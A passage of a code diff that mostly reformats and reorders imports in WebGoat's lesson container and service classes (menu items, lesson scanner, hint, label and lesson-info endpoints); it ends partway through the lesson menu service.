+        //package name is the direct package name below lessons (any subpackage will be removed)
+        return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", "");
+
+
+
+    }

-  /**
-   * Description of the Method
-   *
-   * @return Description of the Return Value
-   */
-  public String toString() {
-    return getTitle();
-  }

-  public final String getId() {
-    return this.getClass().getSimpleName();
-  }

-  public final String getPackage() {
-    var packageName = this.getClass().getPackageName();
-    // package name is the direct package name below lessons (any subpackage will be removed)
-    return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", "");
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java
@ -1,36 +1,39 @@
 package org.owasp.webgoat.container.lessons;

+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.sql.Connection;
-import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.security.core.context.SecurityContextHolder;

 /**
- * Handler which sets the correct schema for the currently bounded user. This way users are not
- * seeing each other data, and we can reset data for just one particular user.
+ * Handler which sets the correct schema for the currently bounded user. This way users are not seeing each other
+ * data and we can reset data for just one particular user.
 */
+@Slf4j
 public class LessonConnectionInvocationHandler implements InvocationHandler {

-  private final Connection targetConnection;
+    private final Connection targetConnection;

-  public LessonConnectionInvocationHandler(Connection targetConnection) {
-    this.targetConnection = targetConnection;
-  }
+    public LessonConnectionInvocationHandler(Connection targetConnection) {
+        this.targetConnection = targetConnection;
+    }

-  @Override
-  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
-    var authentication = SecurityContextHolder.getContext().getAuthentication();
-    if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) {
-      try (var statement = targetConnection.createStatement()) {
-        statement.execute("SET SCHEMA \"" + user.getUsername() + "\"");
-      }
+    @Override
+    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+        var authentication = SecurityContextHolder.getContext().getAuthentication();
+        if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) {
+            try (var statement = targetConnection.createStatement()) {
+                statement.execute("SET SCHEMA \"" + user.getUsername() + "\"");
+            }
+        }
+        try {
+            return method.invoke(targetConnection, args);
+        } catch (InvocationTargetException e) {
+            throw e.getTargetException();
+        }
    }
-    try {
-      return method.invoke(targetConnection, args);
-    } catch (InvocationTargetException e) {
-      throw e.getTargetException();
-    }
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java
@ -4,7 +4,7 @@ import lombok.AllArgsConstructor;
 import lombok.Getter;

 /**
- * LessonInfoModel class.
+ * <p>LessonInfoModel class.</p>
 *
 * @author dm
 * @version $Id: $Id
@ -13,8 +13,9 @@ import lombok.Getter;
@AllArgsConstructor
 public class LessonInfoModel {

-  private String lessonTitle;
-  private boolean hasSource;
-  private boolean hasSolution;
-  private boolean hasPlan;
+    private String lessonTitle;
+    private boolean hasSource;
+    private boolean hasSolution;
+    private boolean hasPlan;
+
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java
@ -1,162 +1,166 @@
 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
+
 package org.owasp.webgoat.container.lessons;

 import java.util.ArrayList;
 import java.util.List;

 /**
- * LessonMenuItem class.
+ * <p>LessonMenuItem class.</p>
 *
 * @author rlawson
 * @version $Id: $Id
 */
 public class LessonMenuItem {

-  private String name;
-  private LessonMenuItemType type;
-  private List<LessonMenuItem> children = new ArrayList<>();
-  private boolean complete;
-  private String link;
-  private int ranking;
+    private String name;
+    private LessonMenuItemType type;
+    private List<LessonMenuItem> children = new ArrayList<>();
+    private boolean complete;
+    private String link;
+    private int ranking;

-  /**
-   * Getter for the field <code>name</code>.
-   *
-   * @return the name
-   */
-  public String getName() {
-    return name;
-  }
+    /**
+     * <p>Getter for the field <code>name</code>.</p>
+     *
+     * @return the name
+     */
+    public String getName() {
+        return name;
+    }

-  /**
-   * Setter for the field <code>name</code>.
-   *
-   * @param name the name to set
-   */
-  public void setName(String name) {
-    this.name = name;
-  }
+    /**
+     * <p>Setter for the field <code>name</code>.</p>
+     *
+     * @param name the name to set
+     */
+    public void setName(String name) {
+        this.name = name;
+    }

-  /**
-   * Getter for the field <code>children</code>.
-   *
-   * @return the children
-   */
-  public List<LessonMenuItem> getChildren() {
-    return children;
-  }
+    /**
+     * <p>Getter for the field <code>children</code>.</p>
+     *
+     * @return the children
+     */
+    public List<LessonMenuItem> getChildren() {
+        return children;
+    }

-  /**
-   * Setter for the field <code>children</code>.
-   *
-   * @param children the children to set
-   */
-  public void setChildren(List<LessonMenuItem> children) {
-    this.children = children;
-  }
+    /**
+     * <p>Setter for the field <code>children</code>.</p>
+     *
+     * @param children the children to set
+     */
+    public void setChildren(List<LessonMenuItem> children) {
+        this.children = children;
+    }

-  /**
-   * Getter for the field <code>type</code>.
-   *
-   * @return the type
-   */
-  public LessonMenuItemType getType() {
-    return type;
-  }
+    /**
+     * <p>Getter for the field <code>type</code>.</p>
+     *
+     * @return the type
+     */
+    public LessonMenuItemType getType() {
+        return type;
+    }

-  /**
-   * Setter for the field <code>type</code>.
-   *
-   * @param type the type to set
-   */
-  public void setType(LessonMenuItemType type) {
-    this.type = type;
-  }
+    /**
+     * <p>Setter for the field <code>type</code>.</p>
+     *
+     * @param type the type to set
+     */
+    public void setType(LessonMenuItemType type) {
+        this.type = type;
+    }

-  /**
-   * addChild.
-   *
-   * @param child a {@link LessonMenuItem} object.
-   */
-  public void addChild(LessonMenuItem child) {
-    children.add(child);
-  }
+    /**
+     * <p>addChild.</p>
+     *
+     * @param child a {@link LessonMenuItem} object.
+     */
+    public void addChild(LessonMenuItem child) {
+        children.add(child);
+    }

-  @Override
-  public String toString() {
-    StringBuilder bldr = new StringBuilder();
-    bldr.append("Name: ").append(name).append(" | ");
-    bldr.append("Type: ").append(type).append(" | ");
-    return bldr.toString();
-  }
+    @Override
+    public String toString() {
+        StringBuilder bldr = new StringBuilder();
+        bldr.append("Name: ").append(name).append(" | ");
+        bldr.append("Type: ").append(type).append(" | ");
+        return bldr.toString();
+    }

-  /**
-   * isComplete.
-   *
-   * @return the complete
-   */
-  public boolean isComplete() {
-    return complete;
-  }
+    /**
+     * <p>isComplete.</p>
+     *
+     * @return the complete
+     */
+    public boolean isComplete() {
+        return complete;
+    }

-  /**
-   * Setter for the field <code>complete</code>.
-   *
-   * @param complete the complete to set
-   */
-  public void setComplete(boolean complete) {
-    this.complete = complete;
-  }
+    /**
+     * <p>Setter for the field <code>complete</code>.</p>
+     *
+     * @param complete the complete to set
+     */
+    public void setComplete(boolean complete) {
+        this.complete = complete;
+    }

-  /**
-   * Getter for the field <code>link</code>.
-   *
-   * @return the link
-   */
-  public String getLink() {
-    return link;
-  }
+    /**
+     * <p>Getter for the field <code>link</code>.</p>
+     *
+     * @return the link
+     */
+    public String getLink() {
+        return link;
+    }

-  /**
-   * Setter for the field <code>link</code>.
-   *
-   * @param link the link to set
-   */
-  public void setLink(String link) {
-    this.link = link;
-  }
+    /**
+     * <p>Setter for the field <code>link</code>.</p>
+     *
+     * @param link the link to set
+     */
+    public void setLink(String link) {
+        this.link = link;
+    }
+
+    public void setRanking(int ranking) {
+        this.ranking = ranking;
+    }
+
+    public int getRanking() {
+        return this.ranking;
+    }

-  public void setRanking(int ranking) {
-    this.ranking = ranking;
-  }

-  public int getRanking() {
-    return this.ranking;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java
@ -28,13 +28,13 @@
 package org.owasp.webgoat.container.lessons;

 /**
- * LessonMenuItemType class.
+ * <p>LessonMenuItemType class.</p>
 *
 * @author rlawson
 * @version $Id: $Id
 */
 public enum LessonMenuItemType {
-  CATEGORY,
-  LESSON,
-  STAGE
+    CATEGORY,
+    LESSON,
+    STAGE
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java
@ -1,42 +1,46 @@
 package org.owasp.webgoat.container.lessons;

+import lombok.Getter;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.stereotype.Component;
+
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.regex.Pattern;
-import lombok.Getter;
-import lombok.extern.slf4j.Slf4j;
-import org.springframework.core.io.support.ResourcePatternResolver;
-import org.springframework.stereotype.Component;

@Component
@Slf4j
 public class LessonScanner {

-  private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
+    private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");

-  @Getter private final Set<String> lessons = new HashSet<>();
+    @Getter
+    private final Set<String> lessons = new HashSet<>();

-  public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
-    try {
-      var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
-      for (var resource : resources) {
-        // WG can run as a fat jar or as directly from file system we need to support both so use
-        // the URL
-        var url = resource.getURL();
-        var matcher = lessonPattern.matcher(url.toString());
-        if (matcher.matches()) {
-          lessons.add(matcher.group(1));
+    public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
+        try {
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
+            for (var resource : resources) {
+                //WG can run as a fat jar or as directly from file system we need to support both so use the URL
+                var url = resource.getURL();
+                var matcher = lessonPattern.matcher(url.toString());
+                if (matcher.matches()) {
+                    lessons.add(matcher.group(1));
+                }
+            }
+            log.debug("Found {} lessons", lessons.size());
+        } catch (IOException e) {
+            log.warn("No lessons found...");
        }
-      }
-      log.debug("Found {} lessons", lessons.size());
-    } catch (IOException e) {
-      log.warn("No lessons found...");
-    }
-  }

-  public List<String> applyPattern(String pattern) {
-    return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
-  }
+    }
+
+    public List<String> applyPattern(String pattern) {
+        return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java
@ -9,10 +9,11 @@ import org.springframework.web.bind.annotation.RestController;
@RequiredArgsConstructor
 public class EnvironmentService {

-  private final ApplicationContext context;
+    private final ApplicationContext context;
+
+    @GetMapping("/server-directory")
+    public String homeDirectory() {
+        return context.getEnvironment().getProperty("webgoat.server.directory");
+    }

-  @GetMapping("/server-directory")
-  public String homeDirectory() {
-    return context.getEnvironment().getProperty("webgoat.server.directory");
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/HintService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/HintService.java
@ -6,8 +6,6 @@

 package org.owasp.webgoat.container.service;

-import java.util.Collection;
-import java.util.List;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Hint;
 import org.owasp.webgoat.container.lessons.Lesson;
@ -16,8 +14,11 @@ import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

+import java.util.Collection;
+import java.util.List;
+
 /**
- * HintService class.
+ * <p>HintService class.</p>
 *
 * @author rlawson
 * @version $Id: $Id
@ -25,33 +26,36 @@ import org.springframework.web.bind.annotation.RestController;
@RestController
 public class HintService {

-  public static final String URL_HINTS_MVC = "/service/hint.mvc";
-  private final WebSession webSession;
+    public static final String URL_HINTS_MVC = "/service/hint.mvc";
+    private final WebSession webSession;

-  public HintService(WebSession webSession) {
-    this.webSession = webSession;
-  }
-
-  /**
-   * Returns hints for current lesson
-   *
-   * @return a {@link java.util.List} object.
-   */
-  @GetMapping(path = URL_HINTS_MVC, produces = "application/json")
-  @ResponseBody
-  public List<Hint> getHints() {
-    Lesson l = webSession.getCurrentLesson();
-    return createAssignmentHints(l);
-  }
-
-  private List<Hint> createAssignmentHints(Lesson l) {
-    if (l != null) {
-      return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList();
+    public HintService(WebSession webSession) {
+        this.webSession = webSession;
    }
-    return List.of();
-  }

-  private List<Hint> createHint(Assignment a) {
-    return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList();
-  }
+    /**
+     * Returns hints for current lesson
+     *
+     * @return a {@link java.util.List} object.
+     */
+    @GetMapping(path = URL_HINTS_MVC, produces = "application/json")
+    @ResponseBody
+    public List<Hint> getHints() {
+        Lesson l = webSession.getCurrentLesson();
+        return createAssignmentHints(l);
+    }
+
+    private List<Hint> createAssignmentHints(Lesson l) {
+        if (l != null) {
+            return l.getAssignments().stream()
+                    .map(this::createHint)
+                    .flatMap(Collection::stream)
+                    .toList();
+        }
+        return List.of();
+    }
+
+    private List<Hint> createHint(Assignment a) {
+        return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList();
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java
@ -1,33 +1,34 @@
 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
+
 package org.owasp.webgoat.container.service;

-import java.util.Map;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.session.LabelDebugger;
@ -39,8 +40,10 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;

+import java.util.Map;
+
 /**
- * LabelDebugService class.
+ * <p>LabelDebugService class.</p>
 *
 * @author nbaars
 * @version $Id: $Id
@ -50,47 +53,45 @@ import org.springframework.web.bind.annotation.ResponseBody;
@AllArgsConstructor
 public class LabelDebugService {

-  private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc";
-  private static final String KEY_ENABLED = "enabled";
-  private static final String KEY_SUCCESS = "success";
+    private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc";
+    private static final String KEY_ENABLED = "enabled";
+    private static final String KEY_SUCCESS = "success";

-  private LabelDebugger labelDebugger;
+    private LabelDebugger labelDebugger;

-  /**
-   * Checks if debugging of labels is enabled or disabled
-   *
-   * @return a {@link org.springframework.http.ResponseEntity} object.
-   */
-  @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
-  public @ResponseBody ResponseEntity<Map<String, Object>> checkDebuggingStatus() {
-    log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled());
-    Map<String, Object> result = createResponse(labelDebugger.isEnabled());
-    return new ResponseEntity<>(result, HttpStatus.OK);
-  }
+    /**
+     * Checks if debugging of labels is enabled or disabled
+     *
+     * @return a {@link org.springframework.http.ResponseEntity} object.
+     */
+    @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
+    public @ResponseBody
+    ResponseEntity<Map<String, Object>> checkDebuggingStatus() {
+        log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled());
+        Map<String, Object> result = createResponse(labelDebugger.isEnabled());
+        return new ResponseEntity<>(result, HttpStatus.OK);
+    }

-  /**
-   * Sets the enabled flag on the label debugger to the given parameter
-   *
-   * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
-   * @return a {@link org.springframework.http.ResponseEntity} object.
-   */
-  @RequestMapping(
-      value = URL_DEBUG_LABELS_MVC,
-      produces = MediaType.APPLICATION_JSON_VALUE,
-      params = KEY_ENABLED)
-  public @ResponseBody ResponseEntity<Map<String, Object>> setDebuggingStatus(
-      @RequestParam("enabled") Boolean enabled) {
-    log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
-    Map<String, Object> result = createResponse(enabled);
-    labelDebugger.setEnabled(enabled);
-    return new ResponseEntity<>(result, HttpStatus.OK);
-  }
+    /**
+     * Sets the enabled flag on the label debugger to the given parameter
+     *
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
+     * @return a {@link org.springframework.http.ResponseEntity} object.
+     */
+    @RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
+    public @ResponseBody
+    ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) {
+        log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
+        Map<String, Object> result = createResponse(enabled);
+        labelDebugger.setEnabled(enabled);
+        return new ResponseEntity<>(result, HttpStatus.OK);
+    }

-  /**
-   * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
-   * @return a {@link java.util.Map} object.
-   */
-  private Map<String, Object> createResponse(Boolean enabled) {
-    return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled);
-  }
+    /**
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
+     * @return a {@link java.util.Map} object.
+     */
+    private Map<String, Object> createResponse(Boolean enabled) {
+        return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/LabelService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/LabelService.java
@ -1,33 +1,34 @@
 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
 * for free software projects.
 */
+
 package org.owasp.webgoat.container.service;

-import java.util.Properties;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.i18n.Messages;
@ -39,8 +40,11 @@ import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

+import java.util.Properties;
+
+
 /**
- * LabelService class.
+ * <p>LabelService class.</p>
 *
 * @author zupzup
 */
@ -49,19 +53,19 @@ import org.springframework.web.bind.annotation.RestController;
@RequiredArgsConstructor
 public class LabelService {

-  public static final String URL_LABELS_MVC = "/service/labels.mvc";
-  private final Messages messages;
-  private final PluginMessages pluginMessages;
+    public static final String URL_LABELS_MVC = "/service/labels.mvc";
+    private final Messages messages;
+    private final PluginMessages pluginMessages;

-  /**
-   * @return a map of all the labels
-   */
-  @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
-  @ResponseBody
-  public ResponseEntity<Properties> fetchLabels() {
-    var allProperties = new Properties();
-    allProperties.putAll(messages.getMessages());
-    allProperties.putAll(pluginMessages.getMessages());
-    return new ResponseEntity<>(allProperties, HttpStatus.OK);
-  }
+    /**
+     * @return a map of all the labels
+     */
+    @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
+    @ResponseBody
+    public ResponseEntity<Properties> fetchLabels() {
+        var allProperties = new Properties();
+        allProperties.putAll(messages.getMessages());
+        allProperties.putAll(pluginMessages.getMessages());
+        return new ResponseEntity<>(allProperties, HttpStatus.OK);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java
@ -8,8 +8,9 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

+
 /**
- * LessonInfoService class.
+ * <p>LessonInfoService class.</p>
 *
 * @author dm
 * @version $Id: $Id
@ -18,16 +19,18 @@ import org.springframework.web.bind.annotation.RestController;
@AllArgsConstructor
 public class LessonInfoService {

-  private final WebSession webSession;
+    private final WebSession webSession;
+
+    /**
+     * <p>getLessonInfo.</p>
+     *
+     * @return a {@link LessonInfoModel} object.
+     */
+    @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
+    public @ResponseBody
+    LessonInfoModel getLessonInfo() {
+        Lesson lesson = webSession.getCurrentLesson();
+        return new LessonInfoModel(lesson.getTitle(), false, false, false);
+    }

-  /**
-   * getLessonInfo.
-   *
-   * @return a {@link LessonInfoModel} object.
-   */
-  @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
-  public @ResponseBody LessonInfoModel getLessonInfo() {
-    Lesson lesson = webSession.getCurrentLesson();
-    return new LessonInfoModel(lesson.getTitle(), false, false, false);
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java
@ -1,36 +1,34 @@
 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
+
 package org.owasp.webgoat.container.service;

-import java.util.ArrayList;
-import java.util.Comparator;
-import java.util.List;
-import java.util.Map;
 import lombok.AllArgsConstructor;
 import org.owasp.webgoat.container.lessons.Assignment;
 import org.owasp.webgoat.container.lessons.Category;
@ -47,8 +45,13 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;

+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+
 /**
- * LessonMenuService class.
+ * <p>LessonMenuService class.</p>
 *
 * @author rlawson
 * @version $Id: $Id
@ -57,68 +60,72 @@ import org.springframework.web.bind.annotation.ResponseBody;
@AllArgsConstructor
 public class LessonMenuService {

-  public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc";
-  private final Course course;
-  private final WebSession webSession;
-  private UserTrackerRepository userTrackerRepository;
+    public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc";
+    private final Course course;
+    private final WebSession webSession;
+    private UserTrackerRepository userTrackerRepository;

-  @Value("#{'${exclude.categories}'.split(',')}")
-  private List<String> excludeCategories;
+    @Value("#{'${exclude.categories}'.split(',')}")
+    private List<String> excludeCategories;

-  @Value("#{'${exclude.lessons}'.split(',')}")
-  private List<String> excludeLessons;
+    @Value("#{'${exclude.lessons}'.split(',')}")
+    private List<String> excludeLessons;

-  /**
-   * Returns the lesson menu which is used to build the left nav
-   *
-   * @return a {@link java.util.List} object.
-   */
-  @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json")
-  public @ResponseBody List<LessonMenuItem> showLeftNav() {
-    List<LessonMenuItem> menu = new ArrayList<>();
-    List<Category> categories = course.getCategories();
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+    /**
+     * Returns the lesson menu which is used to build the left nav
+     *
+     * @return a {@link java.util.List} object.
+     */
